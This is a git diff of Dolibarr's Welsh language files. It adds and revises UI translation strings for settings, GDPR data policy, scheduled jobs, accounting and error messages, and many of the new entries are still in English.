rhaid i chi gadw swyddogaethau PHP +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=Ni chanfuwyd unrhyw ffeiliau neu gyfeiriaduron ysgrifenadwy o'r rhaglenni cyffredin yn eich cyfeiriadur gwraidd (Da) RecommendedValueIs=Argymhellir: %s Recommended=Argymhellir NotRecommended=Heb ei argymell -ARestrictedPath=Rhywfaint o lwybr cyfyngedig +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Gwiriwch am ddiweddariadau modiwlau allanol CheckForModuleUpdateHelp=Bydd y weithred hon yn cysylltu â golygyddion modiwlau allanol i wirio a oes fersiwn newydd ar gael. ModuleUpdateAvailable=Mae diweddariad ar gael @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=Ni chanfuwyd unrhyw ddiweddariadau ar gyfer modiwlau SwaggerDescriptionFile=Ffeil ddisgrifiad Swagger API (i'w ddefnyddio gyda redoc er enghraifft) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Rydych wedi galluogi WS API anghymeradwy. Dylech ddefnyddio REST API yn lle hynny. RandomlySelectedIfSeveral=Wedi'i ddewis ar hap os oes sawl llun ar gael +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Mae cyfrinair cronfa ddata wedi'i guddio yn y ffeil conf DatabasePasswordNotObfuscated=NID yw cyfrinair cronfa ddata wedi'i guddio yn y ffeil conf APIsAreNotEnabled=Nid yw modiwlau APIs wedi'u galluogi @@ -2251,10 +2297,10 @@ LateWarningAfter=Rhybudd "hwyr" ar ôl TemplateforBusinessCards=Templed ar gyfer cerdyn busnes mewn maint gwahanol InventorySetup= Gosod Rhestr ExportUseLowMemoryMode=Defnyddiwch fodd cof isel -ExportUseLowMemoryModeHelp=Defnyddiwch y modd cof isel i weithredu exec y dymp (cywasgu yn cael ei wneud trwy bibell yn hytrach nag i mewn i'r cof PHP). Nid yw'r dull hwn yn caniatáu gwirio bod ffeil wedi'i chwblhau ac ni ellir adrodd neges gwall os yw'n methu. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/cy_GB/categories.lang b/htdocs/langs/cy_GB/categories.lang index 298fa93b3b9..84ccd411a11 100644 --- a/htdocs/langs/cy_GB/categories.lang +++ b/htdocs/langs/cy_GB/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Nid yw'r aelod hwn mewn unrhyw dagiau/categorïau ContactHasNoCategory=Nid yw'r cyswllt hwn mewn unrhyw dagiau/categorïau ProjectHasNoCategory=Nid yw'r prosiect hwn mewn unrhyw dagiau/categorïau ClassifyInCategory=Ychwanegu at y tag/categori +RemoveCategory=Remove category NotCategorized=Heb dag/categori CategoryExistsAtSameLevel=Mae'r categori hwn eisoes yn bodoli gyda'r cyf ContentsVisibleByAllShort=Cynnwys yn weladwy gan bawb @@ -67,6 +68,7 @@ StockCategoriesShort=Tagiau/categorïau warws ThisCategoryHasNoItems=Nid yw'r categori hwn yn cynnwys unrhyw eitemau. CategId=ID tag/categori ParentCategory=Tag rhiant/categori +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Label y tag rhiant/categori CatSupList=Rhestr o dagiau/categorïau gwerthwyr CatCusList=Rhestr o gwsmeriaid/tagiau rhagolygon/categorïau @@ -86,7 +88,7 @@ DeleteFromCat=Tynnwch o'r tagiau/categori ExtraFieldsCategories=Priodoleddau cyflenwol CategoriesSetup=Gosod tagiau/categorïau CategorieRecursiv=Cysylltwch â thag/categori rhiant yn awtomatig -CategorieRecursivHelp=Os yw'r opsiwn ymlaen, pan fyddwch chi'n ychwanegu cynnyrch i is-gategori, bydd cynnyrch hefyd yn cael ei ychwanegu at y categori rhiant. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Ychwanegwch y cynnyrch/gwasanaeth canlynol AddCustomerIntoCategory=Neilltuo categori i gwsmer AddSupplierIntoCategory=Neilltuo categori i gyflenwr @@ -95,7 +97,9 @@ ShowCategory=Dangos tag/categori ByDefaultInList=Yn ddiofyn yn y rhestr ChooseCategory=Dewiswch gategori StocksCategoriesArea=Categorïau Warws +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Categorïau Digwyddiad WebsitePagesCategoriesArea=Categorïau Cynhwysydd Tudalen KnowledgemanagementsCategoriesArea=Categorïau erthygl KM UseOrOperatorForCategories=Defnyddiwch weithredwr 'OR' ar gyfer categorïau +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/cy_GB/commercial.lang b/htdocs/langs/cy_GB/commercial.lang index 4d1455d274f..7682056b879 100644 --- a/htdocs/langs/cy_GB/commercial.lang +++ b/htdocs/langs/cy_GB/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Statws rhagolygon DraftPropals=Cynigion masnachol drafft NoLimit=Dim terfyn ToOfferALinkForOnlineSignature=Dolen ar gyfer llofnod ar-lein -WelcomeOnOnlineSignaturePage=Croeso i'r dudalen i dderbyn cynigion masnachol gan %s -ThisScreenAllowsYouToSignDocFrom=Mae'r sgrin hon yn caniatáu ichi dderbyn a llofnodi, neu wrthod, dyfynbris/cynnig masnachol -ThisIsInformationOnDocumentToSign=Gwybodaeth yw hon ar ddogfen i'w derbyn neu ei gwrthod +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Llofnod y dyfynbris/cynnig masnachol %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Analluogwyd nodwedd ar gyfer llofnodi ar-lein neu ddogfen a gynhyrchwyd cyn i'r nodwedd gael ei galluogi diff --git a/htdocs/langs/cy_GB/compta.lang b/htdocs/langs/cy_GB/compta.lang index 9ae8b92d461..10d7388a382 100644 --- a/htdocs/langs/cy_GB/compta.lang +++ b/htdocs/langs/cy_GB/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balans (cyn) Balance=Cydbwysedd Debit=Debyd Credit=Credyd +AccountingDebit=Debit +AccountingCredit=Credit Piece=Dogfen Cyfrifo. AmountHTVATRealReceived=Net wedi'i gasglu AmountHTVATRealPaid=Talwyd net @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Nid yw'r adroddiad o'r Trosi TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Nid yw'r adroddiad ar y Trosiant a gasglwyd fesul cyfradd treth gwerthiant ar gael. Mae'r adroddiad hwn ar gael ar gyfer trosiant a anfonebwyd yn unig. CalculationMode=Modd cyfrifo AccountancyJournal=Dyddiadur cod cyfrifyddu -ACCOUNTING_VAT_SOLD_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer TAW ar werthiannau (defnyddir os nad yw wedi'i ddiffinio wrth osod geiriadur TAW) -ACCOUNTING_VAT_BUY_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer TAW ar bryniannau (defnyddir os nad yw wedi'i ddiffinio ar osod geiriadur TAW) -ACCOUNTING_VAT_PAY_ACCOUNT=Cyfrif cyfrifo yn ddiofyn ar gyfer talu TAW -ACCOUNTING_ACCOUNT_CUSTOMER=Cyfrif cyfrifo a ddefnyddir ar gyfer trydydd partïon cwsmeriaid +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Bydd y cyfrif cyfrifyddu pwrpasol a ddiffinnir ar gerdyn trydydd parti yn cael ei ddefnyddio ar gyfer cyfrifyddu Subledger yn unig. Bydd yr un hwn yn cael ei ddefnyddio ar gyfer y Cyfriflyfr Cyffredinol ac fel gwerth rhagosodedig cyfrifyddu Subledger os nad yw cyfrif cyfrifyddu cwsmer penodol ar drydydd parti wedi'i ddiffinio. -ACCOUNTING_ACCOUNT_SUPPLIER=Cyfrif cyfrifo a ddefnyddir ar gyfer trydydd parti gwerthwr +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Bydd y cyfrif cyfrifyddu pwrpasol a ddiffinnir ar gerdyn trydydd parti yn cael ei ddefnyddio ar gyfer cyfrifyddu Subledger yn unig. Bydd yr un hwn yn cael ei ddefnyddio ar gyfer y Cyfriflyfr Cyffredinol ac fel gwerth rhagosodedig cyfrifyddu Subledger os nad yw cyfrif cyfrifyddu gwerthwr pwrpasol ar drydydd parti wedi'i ddiffinio. ConfirmCloneTax=Cadarnhewch glon treth gymdeithasol/gyllidol ConfirmCloneVAT=Cadarnhau clon datganiad TAW @@ -300,3 +302,4 @@ InvoiceToPay15Days=I dalu (15 i 30 diwrnod) InvoiceToPay30Days=I dalu (> 30 diwrnod) ConfirmPreselectAccount=Rhag-ddewis cod cyfrifeg ConfirmPreselectAccountQuestion=A ydych yn siŵr eich bod am ragddewis y llinellau %s a ddewiswyd gyda'r cod cyfrifeg hwn ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/cy_GB/contracts.lang b/htdocs/langs/cy_GB/contracts.lang index 5b2df05bc7a..a337122df87 100644 --- a/htdocs/langs/cy_GB/contracts.lang +++ b/htdocs/langs/cy_GB/contracts.lang @@ -80,7 +80,7 @@ ConfirmDeleteContractLine=Ydych chi'n siŵr eich bod am ddileu'r llinell gontrac MoveToAnotherContract=Symud gwasanaeth i gontract arall. ConfirmMoveToAnotherContract=Dewisais gontract targed newydd a chadarnhaf fy mod am symud y gwasanaeth hwn i'r contract hwn. ConfirmMoveToAnotherContractQuestion=Dewiswch i ba gontract presennol (o'r un trydydd parti), rydych chi am symud y gwasanaeth hwn iddo? -PaymentRenewContractId=Adnewyddu'r llinell gontract (rhif %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Dyddiad dod i ben NoExpiredServices=Dim gwasanaethau gweithredol wedi dod i ben ListOfServicesToExpireWithDuration=Rhestr o Wasanaethau i ddod i ben mewn %s diwrnod diff --git a/htdocs/langs/cy_GB/cron.lang b/htdocs/langs/cy_GB/cron.lang index c91962f9317..0f466dd0d8c 100644 --- a/htdocs/langs/cy_GB/cron.lang +++ b/htdocs/langs/cy_GB/cron.lang @@ -26,7 +26,7 @@ CronCommand=Gorchymyn CronList=Swyddi wedi'u hamserlennu CronDelete=Dileu swyddi a drefnwyd CronConfirmDelete=A ydych yn siŵr eich bod am ddileu'r swyddi hyn sydd wedi'u hamserlennu? -CronExecute=Lansio swydd a drefnwyd +CronExecute=Launch now CronConfirmExecute=A ydych yn siŵr eich bod am gyflawni'r swyddi hyn sydd wedi'u hamserlennu nawr? CronInfo=Mae modiwl swydd wedi'i amserlennu yn caniatáu amserlennu swyddi i'w gweithredu'n awtomatig. Gellir cychwyn swyddi â llaw hefyd. CronTask=Job @@ -58,7 +58,7 @@ CronNote=Sylw CronFieldMandatory=Mae meysydd %s yn orfodol CronErrEndDateStartDt=Ni all y dyddiad gorffen fod cyn y dyddiad dechrau StatusAtInstall=Statws wrth osod modiwl -CronStatusActiveBtn=Atodlen +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Analluogi CronTaskInactive=Mae'r swydd hon wedi'i hanalluogi (ddim wedi'i hamserlennu) CronId=Id @@ -84,10 +84,17 @@ MakeLocalDatabaseDumpShort=Cronfa ddata wrth gefn leol MakeLocalDatabaseDump=Creu dympio cronfa ddata leol. Paramedrau yw: cywasgu ('gz' neu 'bz' neu 'dim'), math wrth gefn ('mysql', 'pgsql', 'auto'), 1, 'auto' neu enw ffeil i'w hadeiladu, nifer y ffeiliau wrth gefn i'w cadw MakeSendLocalDatabaseDumpShort=Anfon copi wrth gefn o gronfa ddata leol MakeSendLocalDatabaseDump=Anfon copi wrth gefn o gronfa ddata leol trwy e-bost. Paramedrau yw: i, o, pwnc, neges, enw ffeil (Enw'r ffeil a anfonwyd), hidlydd ('sql' ar gyfer copi wrth gefn o'r gronfa ddata yn unig) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Sylw, at ddiben perfformiad, beth bynnag yw'r dyddiad nesaf ar gyfer cyflawni swyddi wedi'u galluogi, efallai y bydd eich swyddi'n cael eu gohirio hyd at uchafswm o %s awr, cyn cael eu rhedeg. DATAPOLICYJob=Glanhawr data ac anonymizer JobXMustBeEnabled=Rhaid galluogi Job %s +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Y swydd a drefnwyd ddiwethaf a gyflawnwyd NextScheduledJobExecute=Y dasg nesaf i'w chyflawni NumberScheduledJobError=Nifer y swyddi a drefnwyd mewn camgymeriad +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/cy_GB/datapolicy.lang b/htdocs/langs/cy_GB/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/cy_GB/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/cy_GB/ecm.lang b/htdocs/langs/cy_GB/ecm.lang index ba165c03711..4375605fdd7 100644 --- a/htdocs/langs/cy_GB/ecm.lang +++ b/htdocs/langs/cy_GB/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Cyfeiriadur â llaw ECMSectionAuto=Cyfeiriadur awtomatig ECMSectionsManual=Coeden â llaw ECMSectionsAuto=Coeden awtomatig +ECMSectionsMedias=Medias tree ECMSections=Cyfeirlyfrau ECMRoot=Gwraidd ECM ECMNewSection=Cyfeiriadur newydd @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Nifer y ffeiliau mewn is-gyfeiriaduron ECMCreationUser=Creawdwr ECMArea=Ardal DMS/ECM ECMAreaDesc=Mae'r ardal DMS/ECM (System Rheoli Dogfennau / Rheoli Cynnwys Electronig) yn caniatáu ichi arbed, rhannu a chwilio'n gyflym o bob math o ddogfennau yn Dolibarr. -ECMAreaDesc2=* Mae cyfeiriaduron awtomatig yn cael eu llenwi'n awtomatig wrth ychwanegu dogfennau o gerdyn elfen.
      * Gellir defnyddio cyfeiriaduron llaw i gadw dogfennau nad ydynt yn gysylltiedig ag elfen benodol. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Cyfeiriadur %s wedi'i ddileu. ECMSectionWasCreated=Cyfeiriadur %s wedi'i greu. ECMSearchByKeywords=Chwilio yn ôl allweddeiriau diff --git a/htdocs/langs/cy_GB/errors.lang b/htdocs/langs/cy_GB/errors.lang index 8e58924da0f..eda9b011435 100644 --- a/htdocs/langs/cy_GB/errors.lang +++ b/htdocs/langs/cy_GB/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=Mae mewngofnodi %s eisoes yn bodoli. ErrorGroupAlreadyExists=Mae grŵp %s eisoes yn bodoli. ErrorEmailAlreadyExists=Mae e-bost %s eisoes yn bodoli. ErrorRecordNotFound=Heb ganfod y cofnod. +ErrorRecordNotFoundShort=Not found ErrorFailToCopyFile=Wedi methu â chopïo ffeil ' %s ' i ' %s a09a4b739f17f '. ErrorFailToCopyDir=Wedi methu â chopïo cyfeiriadur ' %s ' i ' %s a09a4b739f17f '. ErrorFailToRenameFile=Wedi methu ag ailenwi ffeil ' %s ' i ' %s a09a4b739zf17f '. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Nid oes gan ffeil delwedd fformat a gefnogir (Nid yw eich PH ErrorBadDateFormat=Mae fformat dyddiad anghywir gan werth '%s' ErrorWrongDate=Nid yw'r dyddiad yn gywir! ErrorFailedToWriteInDir=Wedi methu ag ysgrifennu yn y cyfeiriadur %s +ErrorFailedToBuildArchive=Failed to build archive file %s ErrorFoundBadEmailInFile=Wedi dod o hyd i gystrawen e-bost anghywir ar gyfer llinellau %s yn y ffeil (llinell enghreifftiol %s gydag e-bost=%s) ErrorUserCannotBeDelete=Ni ellir dileu defnyddiwr. Efallai ei fod yn gysylltiedig ag endidau Dolibarr. ErrorFieldsRequired=Mae rhai meysydd gofynnol wedi'u gadael yn wag. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Llenwch y gwerth ar gyfer rhestr blychau ticio ErrorNoValueForRadioType=Llenwch y gwerth ar gyfer y rhestr radio ErrorBadFormatValueList=Ni all gwerth y rhestr fod â mwy nag un coma: %s , ond mae angen o leiaf un: allwedd, gwerth ErrorFieldCanNotContainSpecialCharacters=Rhaid i'r maes %s beidio â chynnwys nodau arbennig. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Ni ddylai'r maes %s gynnwys nodau arbennig, na nodau priflythrennau ac ni all gynnwys rhifau yn unig. +ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters, and must start with an alphabetical character (a-z) ErrorFieldMustHaveXChar=Rhaid i'r maes %s fod ag o leiaf %s nodau. ErrorNoAccountancyModuleLoaded=Dim modiwl cyfrifeg wedi'i actifadu ErrorExportDuplicateProfil=Mae'r enw proffil hwn eisoes yn bodoli ar gyfer y set allforio hon. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Maes a0aee833365837fz0 %s : ' %s 3e %s ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed ErrorFieldValueNotIn=Maes %s : ' %s ' ddim yn werth dod o hyd yn y maes %s o %s ErrorFieldRefNotIn=Maes %s : ' %s ' cyf Nid yw %s presennol +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=%s gwallau wedi'u canfod ErrorFileIsInfectedWithAVirus=Nid oedd y rhaglen gwrthfeirws yn gallu dilysu'r ffeil (gallai'r ffeil fod wedi'i heintio gan firws) -ErrorSpecialCharNotAllowedForField=Ni chaniateir nodau arbennig ar gyfer maes "%s" ErrorNumRefModel=Mae cyfeiriad yn bodoli i gronfa ddata (%s) ac nid yw'n gydnaws â'r rheol rifo hon. Tynnwch y cofnod neu ailenwyd y cyfeirnod i actifadu'r modiwl hwn. ErrorQtyTooLowForThisSupplier=Swm yn rhy isel ar gyfer y gwerthwr hwn neu ddim pris wedi'i ddiffinio ar y cynnyrch hwn ar gyfer y gwerthwr hwn ErrorOrdersNotCreatedQtyTooLow=Nid yw rhai archebion wedi'u creu oherwydd niferoedd rhy isel @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Rhaid i wrthrychau gael statws 'Gwei ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Rhaid i wrthrychau gael statws 'Drafft' neu 'Anabledd' i'w galluogi ErrorNoFieldWithAttributeShowoncombobox=Nid oes gan unrhyw faes yr eiddo 'showoncombobox' i'r diffiniad o wrthrych '%s'. Dim ffordd i ddangos y combolist. ErrorFieldRequiredForProduct=Mae angen maes '%s' ar gyfer cynnyrch %s +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=Problem yw gosod terfynell %s. ErrorAddAtLeastOneLineFirst=Ychwanegwch o leiaf un llinell yn gyntaf ErrorRecordAlreadyInAccountingDeletionNotPossible=Gwall, cofnod yn cael ei drosglwyddo eisoes yn cyfrifo, dileu yn bosibl. @@ -277,8 +280,8 @@ ErrorWrongFileName=Ni all enw'r ffeil fod â __SOMETHING__ ynddi ErrorNotInDictionaryPaymentConditions=Ddim yn y Geiriadur Telerau Talu, addaswch. ErrorIsNotADraft=Nid yw %s yn ddrafft ErrorExecIdFailed=Methu gweithredu gorchymyn "id" -ErrorBadCharIntoLoginName=Nod heb awdurdod yn yr enw mewngofnodi -ErrorRequestTooLarge=Gwall, cais rhy fawr +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=Nid chi yw'r cymeradwywr ar gyfer gwyliau %s ErrorAttributeIsUsedIntoProduct=This attribute is used in one or more product variants ErrorAttributeValueIsUsedIntoProduct=This attribute value is used in one or more product variants @@ -291,6 +294,15 @@ ErrorAjaxRequestFailed=Request failed ErrorThirpdartyOrMemberidIsMandatory=Third party or Member of partnership is mandatory ErrorFailedToWriteInTempDirectory=Failed to write in temp directory ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToLoadThirdParty=Failed to find/load thirdparty from id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it 